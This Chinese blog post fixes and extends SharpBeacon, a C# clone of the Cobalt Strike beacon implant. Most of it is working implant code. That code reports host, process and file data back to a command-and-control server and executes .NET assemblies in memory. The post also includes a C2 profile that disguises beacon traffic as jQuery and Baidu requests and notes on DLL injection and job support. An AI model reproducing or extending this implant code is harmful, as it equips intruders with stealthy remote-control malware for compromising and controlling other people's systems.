这是我CS二开系列的最后一篇公开文章了,再次感谢WBGIII、鸡哥、单纯、z3ratu1等若干师傅提供的思路和项目,让我受益匪浅。
CS 二开系列到此就告一段落了,相信下面这四篇一定可以帮助各位师傅完成cs从aggressor、teamserver到beacon逆向到实现的完整学习:
CS 4.4 二开笔记:基础篇
CS 4.4 二开笔记:增强篇
CS 4.4 二开笔记:beacon 指令分析篇
CS 4.4 二开笔记:SharpBeacon 实战修复
前言
关于beacon的实现,目前已开放源码的项目包含rebeacon,geacon和sharpbeacon,rebeacon和geacon我之前都已经学习和分析过了,其中geacon的作者也写了相关文章对代码细节的实现进行了阐述。鸡哥的sharpbeacon用C#进行实现,更符合我对C2的设计思路,让我好奇的是关于sharpbeacon网上居然这么久都没有相关文章。代码的细节仍需要打磨,因此花了些时间对鸡哥的sharpbeacon的代码进行问题修复和增强,为了让各位师傅少走弯路,将技术细节总结出来形成本文,如文中存在问题也欢迎各位师傅进行交流学习。
源码结构
鸡哥源码:SharpBeacon
这里我简单进行注释,具体的代码还是需要亲自去看才能印象深刻。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 | │ Program.cs // 主程序│├─Core // 核心代码,涉及指令的实现│ ETW.cs│ ExecuteAssembly.cs // 内存执行│ Files.cs // 文件处理│ Forward.cs // 端口转发│ Inject.cs // 注入相关代码│ Metadata.cs // 具体meta数据的实现│ Misc.cs // 杂项│ Proc.cs // 进程相关代码│ Spawn.cs // 进程迁移相关代码,未实现│ Tokens.cs│├─Crypt│ │ AESCrypt.cs // AES │ │ RSACrypt.cs // RSA│ │ SHA.cs│ ││ ├─Internal│ │ AESKey.cs // 在上面AES算法中进行调用│ │ RsaKey.cs // 在上面RSA算法中进行调用│ ││ └─Shared│ Check.cs // 一些异常检查函数│├─Packet│ Commons.cs // get/post 协议发送数据的封装│ Prase.cs // metadata; teamserver返回包│├─Profiles│ Config.cs // c2profile设置│└─Utils Bytes.cs Generic.cs Native.cs Syscalls.cs Win32.cs |
问题修复
上线beacon架构无法区分x86/x64
问题原因
上线后无法区分是x86还是x64,这个判断结果是通过metadata进行传递的,因此定位到metadata代码中。
代码位置Metadata.cs!GetFlag | Metadata.cs!IsWow64 | Metadata.cs!GetArchitecture
问题分析
通过GetFlag函数获取的1字节放在metadata符号位中,用来表示当前进程的架构。
1 2 3 4 5 6 7 8 9 10 11 | public byte GetFlag(){ byte b = GetArchitecture(); b += IsWow64(_mProcess); if (UserProcessToken(this._mProcess)) { b += 8; } return b;} |
其中:GetArchitecture()获取当前系统架构,x64时返回2,x86时返回0,其他架构返回1。UserProcessToken()函数用来判断当前进程的权限IsWow64()函数用来判断当前进程的架构,此处也是我们需要修改的函数。
在metadata中,对应符号位的字节有两个值进行判断:
- 该字节为6时,代表x64架构
- 该字节为4时,代表x86架构
需要注意的是,虽然设置为0也会导致默认代表x86架构,但是会导致部分指令返回Command Error,因此我们需要代码符合CobaltStrike的设计逻辑。因此此处对IsWow64()进行修改:
经过我们修改后,如果 isWow64 为 true,函数返回 1,表示进程运行在 WOW64 模式下;
如果 isWow64 为 false,函数返回 0,表示进程不运行在 WOW64 模式下。当捕获到异常时,函数仍然返回 0。
对应的,我们GetFlag()函数中也无需使用GetArchitecture()的值进行累加,直接通过isWow64()的返回值进行判断即可:
无法正确在CS界面显示文件浏览器
问题原因
sharpbeacon实现了控制台的ls指令,但是实现的指令无法用于文件浏览器。熟悉beacon源码的师傅应该知道,控制台的ls与文件浏览器公用一个函数。
引出下面两个问题:
- beacon如何知道是控制台指令还是界面指令?
- beacon回传数据如何区别是回传给控制台还是回传给界面?
代码位置Program.cs | Prase.cs!AnalysisReponseData
问题分析
针对第一个问题,区别在于从beacon接收到teamserver任务数据的前9-12字节(4字节)作为符号位。
我们可以看下面的举例,下面前16字节为控制台ls指令:
1 | 00 00 00 35 00 00 00 0B FF FF FF FE 00 00 00 03 |
下面前16字节为文件浏览器指令:
1 | 00000000: 00 00 00 35 00 00 00 0B 00 00 00 01 00 00 00 03 |
其中FF FF FF FE为控制台与界面化的区别符号位,文件浏览器中的00 00 00 01表示的是打开了一个文件浏览器。因此我们便可以利用这个符号位在beacon端进行区分,除此之外,前四个字节中的第四个字节代表任务号0x35(53),对应config.cs中的
1 | FILE_BROWSE = 53 |
第二个问题,在beacon回传数据时,如何让teamserver知道回传的是哪一类的数据呢?
这里参考上面提到的Prase.cs!MakeCallbackData()函数,该函数第一个参数为返回的数据类型,32代表控制台,22代表界面数据。因此,我们修改Program.cs的代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 | case (int)Config.FUNCINDEX.PS: //PS pRes = Proc.GetProcessList(cm._prase._pCommandBuff); if (cm._prase._strModelFlag == "psConsole") { pCallbackData = cm._prase.MakeCallbackData(32, pRes); // 32 控制台显示 } else { pCallbackData = cm._prase.MakeCallbackData(22, pRes); // 22 界面显示 } cm.HttpPost(Config._POSTURL + Config._nBeaconID, pCallbackData); break; |
其中_strModelFlag是在Prase.cs中实现的,我们新增两个函数根据字节数组解析控制台与界面的模式,然后返回值给_strModelFlag让其用来进行判断,新增函数如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 | string GetConsoleType(byte[] inputArray){ byte[] lsFlagBytes = new byte[] { 0xFF, 0xFF, 0xFF, 0xFE }; byte[] psFlagBytes = new byte[] { 0x00, 0x00, 0x00, 0x00 }; if (ArrayEqual(inputArray, psFlagBytes)) return "psConsole"; else if (ArrayEqual(inputArray, lsFlagBytes)) return "lsConsole"; else return string.Empty;}bool ArrayEqual(byte[] a1, byte[] a2){ if (a1.Length != a2.Length) return false; for (int i = 0; i < a1.Length; i++) { if (a1[i] != a2[i]) return false; } return true;} |
其中byte[] lsFlagBytes = new byte[] { 0xFF, 0xFF, 0xFF, 0xFE };就是我们用来判断ls指令的控制台模式和界面模式的字节数组符号,下面的字节数组则用来区别PS指令的两个模式,下文会对此进行说明。
无法正确在CS界面显示进程列表
问题原因
在通信上,与上个问题一致,因此不过多赘述。
但是PS指令的返回数据需要进行校验,并且返回数据的列顺序也需要符合cs的设计规范。
代码位置Prase.cs!AnalysisReponseData | Program.cs | Proc.cs!GetProcessList
问题分析
首先是通信问题,不同指令的四字节符号有所不同,与ls相区别的是PS的四字节符号为:
1 | 0x00, 0x00, 0x00, 0x00 |
因此修改后的Program.cs代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 | case (int)Config.FUNCINDEX.PS: //PS pRes = Proc.GetProcessList(cm._prase._pCommandBuff); if (cm._prase._strModelFlag == "psConsole") { pCallbackData = cm._prase.MakeCallbackData(32, pRes); // 32 控制台显示 } else { pCallbackData = cm._prase.MakeCallbackData(22, pRes); // 22 界面显示 } cm.HttpPost(Config._POSTURL + Config._nBeaconID, pCallbackData); break; |
Prase.cs!AnalysisReponseData函数下面新增的函数与ls一致,在里面新增一个byte[] psFlagBytes = new byte[] { 0x00, 0x00, 0x00, 0x00 };进行判断并返回相应的字符串即可。
另一个就是返回的数据包,正确的数据顺序为:
1 | processName, parentProcessId, processId, processArch, processOwner, sessionId |
除此之外,PS数据的回传还存在一个校验,以原生beacon回传的ps数据为例:
1 2 3 4 5 6 7 8 9 | 00000000: 00 00 00 03 00 00 47 7A 00 00 00 16 00 00 00 24 ......Gz........00000010: 0A 53 79 73 74 65 6D 20 49 64 6C 65 20 50 72 6F .System Idle Pro00000020: 63 65 73 73 09 30 09 30 09 78 36 34 09 09 30 0A cess.0.0.x64..0.00000030: 53 79 73 74 65 6D 09 30 09 34 09 78 36 34 09 09 System.0.4.x64..00000040: 30 0A 09 34 09 32 30 34 09 78 36 34 09 09 30 0A 0..4.204.x64..0.00000050: 09 34 09 32 38 30 09 78 36 34 09 09 30 0A 09 34 .4.280.x64..0..400000060: 09 31 30 38 34 09 78 36 34 09 09 30 0A 63 6F 6D .1084.x64..0.com00000070: 2E 64 6F 63 6B 65 72 2E 62 75 69 6C 64 2E 65 78 .docker.build.ex00000080: 65 09 32 35 32 34 38 09 31 31 37 36 09 78 36 34 e.25248.1176.x64 |
在前16字节中,使用了接收到的CommandBuff放在了最后四字节中作为符号:
1 2 3 | Cmd buffer bytes: [0 0 0 36]后四个字节:0x000000240x24 = 36,符合发送的指令buff,因此数据头后四个字节为cmdbuff |
因此更改后的GetProcessList()函数内容为:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 | public static byte[] GetProcessList(byte[] pBuf){ var processorArchitecture = GetArchitecture(); Process[] processes = Process.GetProcesses().OrderBy(P => P.Id).ToArray(); string sRes = ""; foreach (Process process in processes) { int processId = process.Id; int parentProcessId = GetParentProcess(process); string processName = process.ProcessName; string processPath = string.Empty; int sessionId = process.SessionId; string processOwner = GetProcessOwner(process); Win32.Kernel32.Platform processArch = Win32.Kernel32.Platform.Unknown; if (parentProcessId != 0) { try { processPath = process.MainModule.FileName; } catch (System.ComponentModel.Win32Exception) { } } if (processorArchitecture == Win32.Kernel32.Platform.x64) { processArch = IsWow64(process) ? Win32.Kernel32.Platform.x86 : Win32.Kernel32.Platform.x64; } else if (processorArchitecture == Win32.Kernel32.Platform.x86) { processArch = Win32.Kernel32.Platform.x86; } else if (processorArchitecture == Win32.Kernel32.Platform.IA64) { processArch = Win32.Kernel32.Platform.x86; } sRes += String.Format("\n{0}\t{1}\t{2}\t{3}\t{4}\t{5}", processName, parentProcessId, processId, processArch, processOwner, sessionId); } byte[] sResBytes = Encoding.UTF8.GetBytes(sRes); byte[] resultBytes = new byte[pBuf.Length + sResBytes.Length]; Buffer.BlockCopy(pBuf, 0, resultBytes, 0, pBuf.Length); Buffer.BlockCopy(sResBytes, 0, resultBytes, pBuf.Length, sResBytes.Length); return resultBytes;} |
这里直接把cmdBuf的数据贴到返回数据包前面,就符合设计规范了。
beacon commandbuff 异常
这个问题经过debug后发现是在上面的修改中没有正确使用 try catch:
1 2 | [beacon -> teamserver] data after execute:[!] Exception: Source array was not long enough. Check srcIndex and length, and the array's lower bounds. |
因为在使用pwd和exit等功能时,commandBuff的索引不符合CommandModel的字节数组长度要求,因此需要在使用CommandModel的地方使用try catch围起来:
SYSTEM 用户名显示无符号
问题原因
正常beacon上线后SYSTEM是具备额外符号($*)的,sharpbeacon没有,不过这是一个小问题。
代码位置metadata.cs!GetUsername()
1 2 3 4 5 6 7 | /// <summary>/// 获得系统当前用户名/// </summary>public string GetUsername(){ return Environment.UserName;} |
我们在上面增加一个对SYSTEM字符串的判断就可以了:
1 2 3 4 5 6 7 8 9 | public string GetUsername() { string username = Environment.UserName; // 获取当前用户名 if (username.Equals("SYSTEM", StringComparison.OrdinalIgnoreCase)) // 判断用户名是否为"SYSTEM" { username += "$*"; // 如果是,添加后缀"$*" } return username; // 返回修改后的用户名 } |
进程名称不完整
问题原因
C# API能获取进程名,但是不包含后缀
有两处不完整:
- 上线进程不显示后缀
- PS指令不显示后缀
代码位置
上线进程:Metadata.cs!GetProcessInfo
PS显示:Proc.cs!GetProcessList
解决方法
在C#中,进程名称通常不包括可执行文件的扩展名(如.exe)。如果想获取包含扩展名的完整进程名称,可以使用 Process 类的 MainModule 属性,这将返回一个 ProcessModule 对象,其中包含了主模块(通常是可执行文件)的完整路径。可以使用这个路径来提取文件名,包括其扩展名。原本的代码:
1 2 3 4 5 6 | public void GetProcessInfo(){ _mProcess = Process.GetCurrentProcess(); _nPid = _mProcess.Id; _strProcName = _mProcess.ProcessName;} |
修复后:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 | public void GetProcessInfo(){ _mProcess = Process.GetCurrentProcess(); // 获取当前进程 _nPid = _mProcess.Id; // 获取进程ID // 尝试获取主模块的文件名 try { _strProcName = _mProcess.MainModule.FileName; // 获取包含路径的完整文件名 _strProcName = System.IO.Path.GetFileName(_strProcName); // 仅提取文件名和后缀 } catch (System.ComponentModel.Win32Exception e) { // 如果无法访问 MainModule,可能是权限不足 Console.WriteLine("Error accessing main module: " + e.Message); _strProcName = _mProcess.ProcessName; // 回退到不带扩展名的进程名 }} |
PS显示相关代码处理起来会影响上线时间,因此不做处理。
中文乱码问题(未正确设置编码)
问题原因
需要在初次上传metadata时设置两字节的编码。
代码位置Prase.cs!MakeMetaData
解决方案
1 | byte[] pLocalANSI = new byte[] { 0xE9, 0xFD }; //设置编码为UTF-8 |

GlobalKey 硬编码
问题原因
sharpbeacon中的globalkey是写死在里面的,这个需要进行随机化。这部分在源代码中已经实现了,但是注释了,我们取消注释即可。
代码位置Prase.cs!GenRandomAESKey
解决方案
GlobalKey是beacon后续与server沟通使用的密钥。用于加密的AESKey和验证hash的HmacKey分别为其sha256后的前后16位。我们要把globalkey进行随机化:
1 2 3 4 5 6 7 8 9 | /// <summary>/// 生成随机数,用于得到hmac和aes的key(随机生成hmac和aes的key)/// </summary>public void GenRandomAESKey(){ Random rnd = new Random(); Config.GlobalKey = new byte[16]; rnd.NextBytes(Config.GlobalKey);} |
新增功能
execute-assembly实现
此处使用AssemblyLoader,这里提供了4种内存加载的方式,以下是每种方法的详细解释和它们之间的区别:
ExecuteAssemblyLoad1方法
这种方法使用Assembly.Load(Byte[])来从字节数组加载程序集。这允许从内存中直接加载程序集,而不需要程序集文件实际存在于文件系统上。这种方式非常适合从网络或其他非文件系统源动态加载程序集。
1 2 3 4 | Assembly assembly = Assembly.Load(assemblyBytes);MethodInfo method = assembly.EntryPoint;object[] parameters = new[] { param };object execute = method.Invoke(null, parameters); |
优点:
- 直接从内存加载,提高安全性,减少磁盘I/O。
- 可以加载从远程位置下载的程序集字节。
缺点:
- 所有依赖项也必须在内存中加载,否则可能会导致程序集解析失败。
ExecuteAssemblyLoad2方法
这种方法也用Assembly.Load(Byte[]),但它尝试更详细地探索程序集中的每个类型和方法。它试图创建每个类型的实例并调用其方法,这通常不是执行主程序集的常规方式,更多用于测试和反射场景。
1 2 3 4 5 6 7 | Assembly assembly = Assembly.Load(assemblyBytes);foreach (var type in assembly.GetTypes()) { foreach (MethodInfo method in type.GetMethods()) { object instance = Activator.CreateInstance(type); method.Invoke(instance, new object[] { param }); }} |
优点:
- 提供了一种探索和调用程序集中所有可用类型和方法的方式。
缺点:
- 不是所有方法都适合被这样调用(如需要特定构造参数的类型)。
- 可能会引发异常,如果方法不适合于被随意调用。
ExecuteAssemblyLoadFile方法
这种方式通过文件路径直接加载程序集,使用Assembly.LoadFile(String)方法。这适用于本地文件系统上已有的程序集文件。
1 2 3 4 | Assembly assembly = Assembly.LoadFile(assemblyPath);MethodInfo method = assembly.EntryPoint;object[] parameters = new[] { param };object execute = method.Invoke(null, parameters); |
优点:
- 直接操作文件,简单直观。
- 自动处理程序集依赖。
缺点:
- 依赖于文件系统。
- 不适合处理动态生成或下载的程序集。
ExecuteAssemblyLoadFileAppDomain方法
此方法使用AppDomain.ExecuteAssembly在新的应用程序域中执行程序集。这提供了隔离环境,允许更安全地加载和运行不信任的代码。
1 2 3 | AppDomain domain = AppDomain.CreateDomain("King AppDomain");domain.ExecuteAssembly(file, param);AppDomain.Unload(domain); |
优点:
- 提供隔离环境,增强安全性。
- 允许卸载整个应用程序域,清理所有资源。
缺点:
- 相对复杂,需要更多的设置。
- 性能开销较大由于创建和卸载应用程序域。
在geacon中使用了Doge-CLRLoad进行了内存加载,原理是ExecuteAssemblyLoadFileAppDomain,并且存在管理员权限无法正确接收回显的问题。我这里使用的是ExecuteAssemblyLoad1。
Cobaltstrike在从aggressor执行execute-assembly,将.net程序对beacon进行下发,当beacon收到字节流时,需要进行额外的处理。
beacon接收到的指令为Cmd type 88,在接收到字节流时,前0x21字节为cs文件头,用来区别cs下发的文件类型,去掉这部分数据才是C#数据
1 2 3 4 5 6 | if (fileBytes.Length > 33){ Byte[] newFileBytes = new Byte[fileBytes.Length - 33]; Array.Copy(fileBytes, 33, newFileBytes, 0, fileBytes.Length - 33); fileBytes = newFileBytes;} |
接下来我们需要去找到指令所在部分,在内存中定位的方式(我是使用的这种方式,有更好的方式可以告诉我)是定位</assembly>作为指令区域头,0x4D, 0x5A作为指令区域尾,当查到区域尾时进行回溯检查,在4D 5A之前查找四个连续的0x00,这里相应的实现函数如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 | static int IndexOfSequence(byte[] buffer, byte[] pattern, int startIndex){ int i = startIndex; int success; while (i <= buffer.Length - pattern.Length) { success = 0; for (int j = 0; j < pattern.Length; j++) { if (buffer[i + j] == pattern[j]) { success++; } else { break; } } if (success == pattern.Length) { return i; } i++; } return -1;}static string ExtractString(byte[] buffer, int startIndex, int endIndex){ // 确保索引在合理范围内 if (startIndex < 0 || endIndex > buffer.Length || startIndex > endIndex) { throw new ArgumentOutOfRangeException("Invalid start or end index."); } int length = endIndex - startIndex - 2; return Encoding.Unicode.GetString(buffer, startIndex, length);}static int FindConsecutiveZeros(byte[] buffer, int startIndex, int count){ for (int i = startIndex - 1; i >= count - 1; i--) { bool allZeros = true; for (int j = 0; j < count; j++) { if (buffer[i - j] != 0x00) { allZeros = false; break; } } if (allZeros) { return i - count + 1; } } return -1;} |
这里需要注意:ExtractString中的length需要减2。
五种编码的实现
Cobalt Strike流量传输涉及五种编码:
| Base64 | Base64编码 | Base64解码 |
|---|---|---|
| Base64url | URL-safe Base64编码 | URL-safe Base64解码 |
| Mask | XOR Mask(使用随机密钥) | XOR Mask(使用随机密钥) |
| NetBIOS | NetBIOS +‘a’编码 | NetBIOS -‘a’解码 |
| NetBIOSU | NetBIOS+‘A’编码 | NetBIOS -‘A’解码 |
SharpBeacon的profile为:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 | set sample_name "SharpBeacon Profile";set sleeptime "30000"; # 45 Secondsset jitter "37"; # % jitterhttps-certificate { set C "US"; set CN "jquery.com"; set O "jQuery"; set OU "Certificate Authority"; set validity "365";}set host_stage "false";http-get { set uri "/search"; set verb "GET"; client { header "User-Agent" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36"; header "Accept-Language" "zh-CN,zh;q=0.9,en;q=0.8"; header "Referer" "https://www.baidu.com/"; header "Accept-Encoding" "gzip, deflate"; header "Sec-Fetch-Site" "same-origin"; metadata { base64; prepend ""; header "Cookie"; } } server { header "User-Agent" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36"; header "Accept-Language" "zh-CN,zh;q=0.9,en;q=0.8"; header "Referer" "https://www.baidu.com/"; header "Accept-Encoding" "gzip, deflate"; header "Sec-Fetch-Site" "same-origin"; output { print; } }}http-post { set uri "/send"; set verb "POST"; client { header "User-Agent" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36"; header "Accept-Language" "zh-CN,zh;q=0.9,en;q=0.8"; header "Referer" "https://www.baidu.com/"; header "Accept-Encoding" "gzip, deflate"; header "Sec-Fetch-Site" "same-origin"; id { parameter "BAIDU_WISE_UID"; } output { prepend ""; print; } } server { header "User-Agent" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36"; header "Accept-Language" "zh-CN,zh;q=0.9,en;q=0.8"; header "Referer" "https://www.baidu.com/"; header "Accept-Encoding" "gzip, deflate"; header "Sec-Fetch-Site" "same-origin"; output { print; } }}post-ex { # control the temporary process we spawn to set spawnto_x86 "%windir%\\syswow64\\notepad.exe"; set spawnto_x64 "%windir%\\sysnative\\notepad.exe";} |
编码实现的步骤:
- 统一
input/output格式,因为输出均为字符串,因此设置输入也均为字符串(在未使用编码时为字节,我们初步直接进行base64处理) - 代码进行轮询,按照C2profile.cs中的字符串数组,按顺序进行检测即可。
关于这几个编码函数的实现也是比较简单的,我建议单独放在一个文件夹中,并且在处理时不要直接使用原代码中的toBase64String,需要对这几个编码函数进行输出输出统一处理,不然没有办法按顺序进行多个编码,把base64作为基础编码。
BouncyCastle实现
源码中密钥的解析使用了NuGet的库,这会导致引用额外的dll,因此如何实现单文件显得尤为重要。主要设计的代码在RSACrypt.cs中,具体实现如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 | public byte[] Encrypt(byte[] plainBytes, string publicKey){ using (var rsa = new RSACryptoServiceProvider()) { var key = ParsePublicKey(publicKey); rsa.ImportParameters(key); var encryptedBytes = rsa.Encrypt(plainBytes, false); return encryptedBytes; }}private static RSAParameters ParsePublicKey(string publicKey){ using (var reader = new StringReader(publicKey)) { var parameter = Internal.RsaKeyParameters.GetRSAParameters(); return parameter; }} |
其中引用的GetRSAParameters函数在RsaKey.cs中,Exponent和Modulus与原代码中相比我们需要手动实现,并且修改相应的解析代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 | public static RSAParameters GetRSAParameters(){ BigInteger modBigInt = BigInteger.Parse(Modulus); BigInteger expBigInt = BigInteger.Parse(Exponent); byte[] modBytes = GetBigEndianBytes(modBigInt); byte[] expBytes = GetBigEndianBytes(expBigInt); return new RSAParameters { Modulus = modBytes, Exponent = expBytes };}private static byte[] GetBigEndianBytes(BigInteger bigInt){ byte[] bytes = bigInt.ToByteArray(); if (BitConverter.IsLittleEndian) { Array.Reverse(bytes); // Reverse to convert to big-endian } // Remove any leading zero bytes added for padding if (bytes[0] == 0) { byte[] trimmedBytes = new byte[bytes.Length - 1]; Array.Copy(bytes, 1, trimmedBytes, 0, trimmedBytes.Length); return trimmedBytes; } return bytes;} |
计算PEM的脚本为:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 | from cryptography.hazmat.backends import default_backendfrom cryptography.hazmat.primitives import serializationfrom cryptography.hazmat.primitives.asymmetric import rsa# PEM格式的RSA公钥字符串public_key_pem = b"""-----BEGIN PUBLIC KEY----------END PUBLIC KEY-----"""# 加载公钥public_key = serialization.load_pem_public_key( public_key_pem, backend=default_backend())# 确保这是RSA公钥if isinstance(public_key, rsa.RSAPublicKey): # 提取公钥的模数和指数 public_numbers = public_key.public_numbers() modulus = public_numbers.n exponent = public_numbers.e # 打印模数和指数 print("Modulus (n):", modulus) print("Exponent (e):", exponent)else: print("Not an RSA key.") |
Job实现
这个是CS用于扩展和自身自带的一些常用功能的关键功能,实际上就是反射dll注入,以不落地的方式实现扩展的功能,常见功能如port scan,hashdump,screenshot等均是job类型命令。使用该类命令会下发两个指令,1. 注入dll(cmd type 1/9/43/44/89/90),2. 从命名管道读取数据(cmd type 40)。
sharpbeacon并没有对job的相关操作进行实现,job自身的操作一共有2个:
- jobs 查看后渗透任务列表(41)
- jobkill 结束一个在后台运行(42)
该功能的实现与dll注入紧密相连。
dll注入实现
此处实现Inject:直接将指定的dll注入到指定pid的进程中,这里没有实现原生的指令,而是使用的项目为DLL-Injection。其实很多相关的功能后续都可以用C#来实现替代原有写死的功能,这样能够更加灵活多变。
总结
这篇文章主要是用来抛砖引玉的,针对鸡哥提供的sharpbeacon中存在的问题进行了修复,并给出了如何增加新功能的思路。如果文中存在问题,也欢迎师傅们留言评论。